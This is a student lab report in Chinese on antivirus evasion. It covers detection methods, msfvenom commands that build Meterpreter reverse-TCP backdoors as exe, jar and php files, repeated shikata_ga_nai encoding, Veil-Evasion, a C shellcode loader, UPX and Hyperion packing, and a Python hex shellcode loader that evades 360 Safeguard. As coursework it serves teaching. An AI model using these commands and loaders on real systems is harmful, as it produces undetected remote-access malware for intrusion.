2019-2020-2 20175215丁文韬《网络对抗技术》Exp3 免杀原理与实践

一、恶意代码检测机制和免杀原理

• 由于老师实验指导书中有提到了，这部分内容不加赘述，只是提及一下。

1.恶意代码检测机制

• 1.1 基于特征码的检测
  • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据则被认为是恶意代码。
• 1.2 启发式恶意软件检测
  • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来说，就是如果一个软件在干通常是恶意软件干的事，看起来了像个恶意软件，那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件，典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
• 1.3 基于行为的恶意软件检测
  • 从理论上讲，基于行为的检测相当于是启发式的一种，或者是加入了行为监控的启发式。

2.免杀原理(Evading Anti-Virus)

• 改变特征码

  • 如果你手里只有EXE
    • 加壳：压缩壳 加密壳
  • 有shellcode(像Meterpreter）
    • 用encode进行编码
    • 基于payload重新编译生成可执行文件
  • 有源代码
    • 用其他语言进行重写再编译（veil-evasion）

• 改变行为

  • 通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 操作模式
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码

• 非常规方法

  • 使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中。
  • 使用社工类攻击，诱骗目标关闭AV软件。
  • 纯手工打造一个恶意软件

二、实验内容

1.任务一：正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧

1.1 正确使用msf编码器，生成exe文件

• 在实验二中使用msf生成了后门程序20175215_backdoor.exe，为了方便检测起见我将数字部分去掉。然后使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描
• 用VirusTotal扫描后结果如下：
  
• 使用用Virscan网站的时候不知道为什么上传不了文件，使用这个网站的beta版程序上传的结果显示如下：（看来可能是服务器的问题）
  

通过VirusTotal的扫描结果我们知道不加任何处理的后门程序能够被大多数杀软检测到，下面我们使用msf编码器对后门程序进行一次到多次的编码，并进行检测。

• 一次编码：-e选择编码器，-b是payload中需要清除的字符，该命令中为了使\x00'不出现在shellcode中，因为shellcode以\x00'为结束符。
  msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.3.26 LPORT=5215 -f exe > encoded1.exe
  • 生成过程截图：
    
  • 使用VirusTotal检测截图：
    
• 十次编码：使用-i设置迭代次数
  msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.3.26 LPORT=5215 -f exe > encoded10.exe
  • 生成过程截图：
    
  • 使用VirusTotal检测截图
    
• 可见多次编码对于免杀没有太大的帮助，主要有两点原因：
  • shikata_ga_nai总会有解码（decoder stub）部分需要加入的exe中，杀软只要找到了这一部分，就能查出这是恶意代码。
  • msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件，如果使用默认参数或者模版，也有一定的固定特征，所以一般来说AV厂商会针对msf使用的模板生成特征码侦测，这样就能解决所有msfvenom生成的恶意代码了。

2.1msfvenom生成jar文件

• 生成java后门程序：
  msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.3.26 LPORT=5215 x> dwt_backdoor_java.jar
  • 生成过程截图
    
  • 使用VirusTotal检测截图
    

2.2mfsvenom生成php文件

• 生成PHP后门程序使用命令
  msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.26 LPORT=5215 x> dwt_backdoor.php
  • 生成过程截图
    
  • 使用VirusTotal检测截图
    

想要生成更多其它形式的文件请参考15级学姐的博客

3.使用veil-evasion生成后门程序及检测

• 参考kali201703安装Veil Evasion和解决Veil—Evasion安装中git clone导致失败的问题，成功安装好veil（只有在万不得已的情况下使用这种方法装veil，因为这样装会导致后面Hyperion的某些使用错误，要调试很久）
• 然后输入veil指令，进入如下页面
  
• 输入use evasion命令进入veil-evasion
  
• 输入use c/meterpreter/rev_tcp.py进入配置界面
  
• 设置反弹连接IP:set LHOST 192.168.30.135（此处为KaliIP），端口：set LPORT 5215
  
• 输入generate生成文件，接着输入你想要payload的名字：veil_c_5215，如图所示，文件保存路径为：/var/lib/veil/output/compiled/veil_c_5215.exe
  
• 使用VirusTotal检测截图：
  

4.使用shellcode编程

• 首先使用命令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.135 LPORT=5215 -f c生成一段shellcode。

• 创建一个文件20175215.c，然后将unsigned char buf[]赋值到其中，代码如下：

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

• 输入i686-w64-mingw32-g++ 20175215.c -o 20175215.exe，将此文件编译为可执行文件。
  
• 在VirusTotal检测截图
  
• 当想要使用windows上执行该程序时，被电脑的联想电脑管家隔离。
  

5.加壳工具

• 加壳的全称应该是可执行程序资源压缩，压缩后的程序可以直接运行。

• 加壳的另一种常用的方式是在二进制的程序中植入一段代码，在运行的时候优先取得程序的控制权，之后再把控制权交还给原始代码，这样做的目的是为了隐藏程序真正的OEP（入口点，防止被破解）。大多数病毒就是基于此原理。

• 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析，以达到保护壳内原始程序以及软件不被外部程序破坏，保证原始程序正常运行。

• 这种技术也常用来保护软件版权，防止软件被破解。但对于病毒，加壳可以绕过一些杀毒软件的扫描，从而实现它作为病毒的一些入侵或破坏的一些特性。

• MSF的编码器使用类似方法，对shellcode进行再编码。

• 从技术上分壳分为：

  • 压缩壳
    • 减少应用体积，如ASPack，UPX
  • 加密壳
    • 版权保护，反跟踪。如ASProtect,Armadillo
  • 虚拟机
    • 通过类似编译手段，将应用指令转换为自己设计的指令集。如VMProtect, Themida

• 使用压缩壳：UPX

  • 给之前的20175215.exe加个壳得到dwt_upxed.exe:
    
  • 运行之后被判断为威胁，将其加入白名单方便测试反弹连接：
    
  • 使用实验二的方法测试一下能不能进行反弹连接（具体方法具体软件不同，就不赘述了）：
    
  • 使用VirusTotal检测截图：
    

• 使用加密壳：Hyperion

  • 不知道为什么在veil的路径下没找到Hyperion.exe，于是我到网上参考【渗透测试】在Kali中使用mingw-w64编译Hyperion（包括旧的常用的1.x版本和最新的2.2版本）重新弄了一个Hyperion.exe，使用命令：wine hyperion.exe -v dwt_upxed.exe dwt_upxed_Hyperion.exe成功加壳。
    
  • 将后门程序加入白名单后，反弹连接成功：
    
  • 使用VirusTotal检测截图：
    

使用其他方法完成任务一。

（1）参考远控免杀专题(30)-Python加载shellcode免杀-8种方式(VT免杀率10-69)
（2）这个是本方法中使用的所有文件的百度网盘链接，提取码：9m7i

• 执行msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.30.135 lport=5215 -f c -o shell.c制作出shellcode的文件。
  
• 然后使用k8飞刀将把shellcode转成hex：
  
• 下载ScrunHex.py，然后使用VirusTotal检测Scrunhex.py的截图（由于从github上直接下载ScRunHex.py太慢了，我直接拷贝了源码然后做了一个文件）：
  
• 在Windows中的cmd.exe中进入装好的Python文件夹下使用python ScRunHex.py hexcode就可以加载执行shellcode了（下图为与杀软共生的截图）
  
• msf中正常上线，使用dir命令发现就是python的这个文件夹没错了
  

2.任务二、通过组合应用各种技术实现恶意代码免杀

• 简述免杀原理：使用C+shellcode，然后将shellcode转化为hex，并且使用ScRunHex.py与python运行hex码，避免了杀软扫描到ScRunHex.exe的特征码，而同时使用了不同的编码方式混淆，让杀软晕头转向。
• 详细方法见上文使用其他方法完成任务一

3.任务三：用另一台电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

• 使用的是娄老师之前给的Win7系统，同时dir后的截图中的文件列表有本虚拟机的特色（专用的串口驱动）
• 杀软名称：360安全卫士
• 版本：12.0.0.2002
  

SP1.基础问题回答与实验体会。

1.基础问题回答

（1）杀软是如何检测出恶意代码的？

• 基于特征码的检测：如果一个可执行文件（或其他运行的库、脚本等）包含被标记过特征的数据则被认为是恶意代码。
• 启发式恶意软件检测：就是如果一个软件在干通常是恶意软件干的事，看起来了像个恶意软件，它就被当做了恶意软件
• 基于行为的恶意软件检测：相当于是启发式的一种，或者是加入了行为监控的启发式。

（2）免杀是做什么？

• 使用一些特殊的手段对恶意软件进行处理，让他不被杀毒软件所检测。

（3）免杀的基本方法有哪些？

• 改变特征码：进行exe文件加壳操作，或者对shellcode用encode进行编码或者基于payload重新编译生成可执行文件、
• 改变行为：使用反弹式连接、隧道技术与加密通讯的数据。同时加入正常功能代码、尽量减少对系统的修改。

2.实验体会

• 在本次实验中遇到的最大的问题就是安装veil了，在安装的时候由于连接的服务器响应过慢，而且总是“挂断”，于是我选择手动将安装veil所需的文件导入再改动安装脚本文件。
• 而在免杀实验中，我电脑安装的安全软件与大多数人的较为不同，叫联想电脑管家，我尝试了多种免杀方法都没法逃脱它的法眼。而后使用各种加壳方法都无法逃脱免杀的我最终使用了老师给的python类的免杀方法，最后成功完成远控。
• 不过我认为这还是我对免杀处理的理解不到位，，我应该更多的学习，而不是满足于实验的完成。

SP2.参考资料

1.MAL_免杀原理与实践
2.2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
3.2017-2018-2 『网络对抗技术』Exp2：后门原理与实践
4.kali201703安装Veil Evasion
5.解决Veil—Evasion安装中git clone导致失败的问题
6.【渗透测试】在Kali中使用mingw-w64编译Hyperion（包括旧的常用的1.x版本和最新的2.2版本）
7.远控免杀专题(30)-Python加载shellcode免杀-8种方式(VT免杀率10-69)